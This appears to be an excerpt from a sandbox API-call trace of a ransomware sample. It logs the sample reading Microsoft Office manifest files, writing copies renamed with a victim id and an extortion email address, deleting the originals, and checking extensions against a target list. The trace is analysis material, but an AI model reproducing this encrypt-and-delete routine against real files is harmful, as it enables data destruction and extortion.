	[0067.385] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2147) returned 1
	[0067.385] CloseHandle (hObject=0x334) returned 1
	[0067.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220
	[0067.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.386] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.386] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.386] GetLastError () returned 0x0
	[0067.386] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x863, lpOverlapped=0x0) returned 1
	[0067.418] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x870, lpOverlapped=0x0) returned 1
	[0067.419] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.419] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.419] SetEndOfFile (hFile=0x340) returned 1
	[0067.419] CloseHandle (hObject=0x340) returned 1
	[0067.420] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.420] SetEndOfFile (hFile=0x334) returned 1
	[0067.421] CloseHandle (hObject=0x334) returned 1
	[0067.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0067.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.421] lstrlenW (lpString=".doc") returned 4
	[0067.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.421] lstrlenW (lpString=".docx") returned 5
	[0067.421] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.421] lstrlenW (lpString=".pdf") returned 4
	[0067.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.421] lstrlenW (lpString=".xls") returned 4
	[0067.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString=".xlsx") returned 5
	[0067.422] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.422] lstrlenW (lpString=".ppt") returned 4
	[0067.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.422] lstrlenW (lpString=".zip") returned 4
	[0067.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.422] lstrlenW (lpString=".rar") returned 4
	[0067.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString=".bz2") returned 4
	[0067.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString=".7z") returned 3
	[0067.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.422] lstrlenW (lpString=".dbf") returned 4
	[0067.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.422] lstrlenW (lpString=".1cd") returned 4
	[0067.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.422] lstrlenW (lpString=".jpg") returned 4
	[0067.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.422] lstrlenW (lpString=".doc") returned 4
	[0067.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.422] lstrlenW (lpString=".docx") returned 5
	[0067.422] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.422] lstrlenW (lpString=".pdf") returned 4
	[0067.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString=".xls") returned 4
	[0067.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString=".xlsx") returned 5
	[0067.423] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.423] lstrlenW (lpString=".ppt") returned 4
	[0067.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.423] lstrlenW (lpString=".zip") returned 4
	[0067.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.423] lstrlenW (lpString=".rar") returned 4
	[0067.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString=".bz2") returned 4
	[0067.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString=".7z") returned 3
	[0067.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.423] lstrlenW (lpString=".dbf") returned 4
	[0067.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.423] lstrlenW (lpString=".1cd") returned 4
	[0067.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0067.423] lstrlenW (lpString=".jpg") returned 4
	[0067.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.423] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.423] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53
	[0067.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.424] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2147) returned 1
	[0067.424] CloseHandle (hObject=0x334) returned 1
	[0067.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220
	[0067.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.424] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.424] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.424] GetLastError () returned 0x0
	[0067.425] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x863, lpOverlapped=0x0) returned 1
	[0067.473] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x870, lpOverlapped=0x0) returned 1
	[0067.474] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.474] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.474] SetEndOfFile (hFile=0x340) returned 1
	[0067.474] CloseHandle (hObject=0x340) returned 1
	[0067.475] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.475] SetEndOfFile (hFile=0x334) returned 1
	[0067.476] CloseHandle (hObject=0x334) returned 1
	[0067.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0067.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.477] lstrlenW (lpString=".doc") returned 4
	[0067.477] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.477] lstrlenW (lpString=".docx") returned 5
	[0067.477] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.477] lstrlenW (lpString=".pdf") returned 4
	[0067.477] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.477] lstrlenW (lpString=".xls") returned 4
	[0067.477] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.477] lstrlenW (lpString=".xlsx") returned 5
	[0067.477] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.477] lstrlenW (lpString=".ppt") returned 4
	[0067.477] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.477] lstrlenW (lpString=".zip") returned 4
	[0067.477] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.477] lstrlenW (lpString=".rar") returned 4
	[0067.477] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.477] lstrlenW (lpString=".bz2") returned 4
	[0067.477] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString=".7z") returned 3
	[0067.478] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.478] lstrlenW (lpString=".dbf") returned 4
	[0067.478] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.478] lstrlenW (lpString=".1cd") returned 4
	[0067.478] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.478] lstrlenW (lpString=".jpg") returned 4
	[0067.478] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.478] lstrlenW (lpString=".doc") returned 4
	[0067.478] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString=".docx") returned 5
	[0067.478] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.478] lstrlenW (lpString=".pdf") returned 4
	[0067.478] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString=".xls") returned 4
	[0067.478] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString=".xlsx") returned 5
	[0067.478] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.478] lstrlenW (lpString=".ppt") returned 4
	[0067.478] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.478] lstrlenW (lpString=".zip") returned 4
	[0067.478] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.478] lstrlenW (lpString=".rar") returned 4
	[0067.478] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.478] lstrlenW (lpString=".bz2") returned 4
	[0067.478] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.479] lstrlenW (lpString=".7z") returned 3
	[0067.479] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.479] lstrlenW (lpString=".dbf") returned 4
	[0067.479] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.479] lstrlenW (lpString=".1cd") returned 4
	[0067.479] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0067.479] lstrlenW (lpString=".jpg") returned 4
	[0067.479] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.479] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.479] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53
	[0067.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.480] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=215883) returned 1
	[0067.480] CloseHandle (hObject=0x334) returned 1
	[0067.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0067.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.480] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.480] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.482] GetLastError () returned 0x0
	[0067.482] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x34b4b, lpOverlapped=0x0) returned 1
	[0067.520] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x34b50, lpOverlapped=0x0) returned 1
	[0067.524] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.524] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.524] SetEndOfFile (hFile=0x340) returned 1
	[0067.524] CloseHandle (hObject=0x340) returned 1
	[0067.529] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.529] SetEndOfFile (hFile=0x334) returned 1
	[0067.531] CloseHandle (hObject=0x334) returned 1
	[0067.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1
	[0067.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.533] lstrlenW (lpString=".doc") returned 4
	[0067.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".docx") returned 5
	[0067.533] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.533] lstrlenW (lpString=".pdf") returned 4
	[0067.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".xls") returned 4
	[0067.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".xlsx") returned 5
	[0067.533] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.533] lstrlenW (lpString=".ppt") returned 4
	[0067.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.533] lstrlenW (lpString=".zip") returned 4
	[0067.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.533] lstrlenW (lpString=".rar") returned 4
	[0067.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".bz2") returned 4
	[0067.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString=".7z") returned 3
	[0067.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.533] lstrlenW (lpString=".dbf") returned 4
	[0067.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.533] lstrlenW (lpString=".1cd") returned 4
	[0067.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.533] lstrlenW (lpString=".jpg") returned 4
	[0067.533] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.534] lstrlenW (lpString=".doc") returned 4
	[0067.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString=".docx") returned 5
	[0067.534] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.534] lstrlenW (lpString=".pdf") returned 4
	[0067.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString=".xls") returned 4
	[0067.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString=".xlsx") returned 5
	[0067.534] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.534] lstrlenW (lpString=".ppt") returned 4
	[0067.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0067.534] lstrlenW (lpString=".zip") returned 4
	[0067.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.534] lstrlenW (lpString=".rar") returned 4
	[0067.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
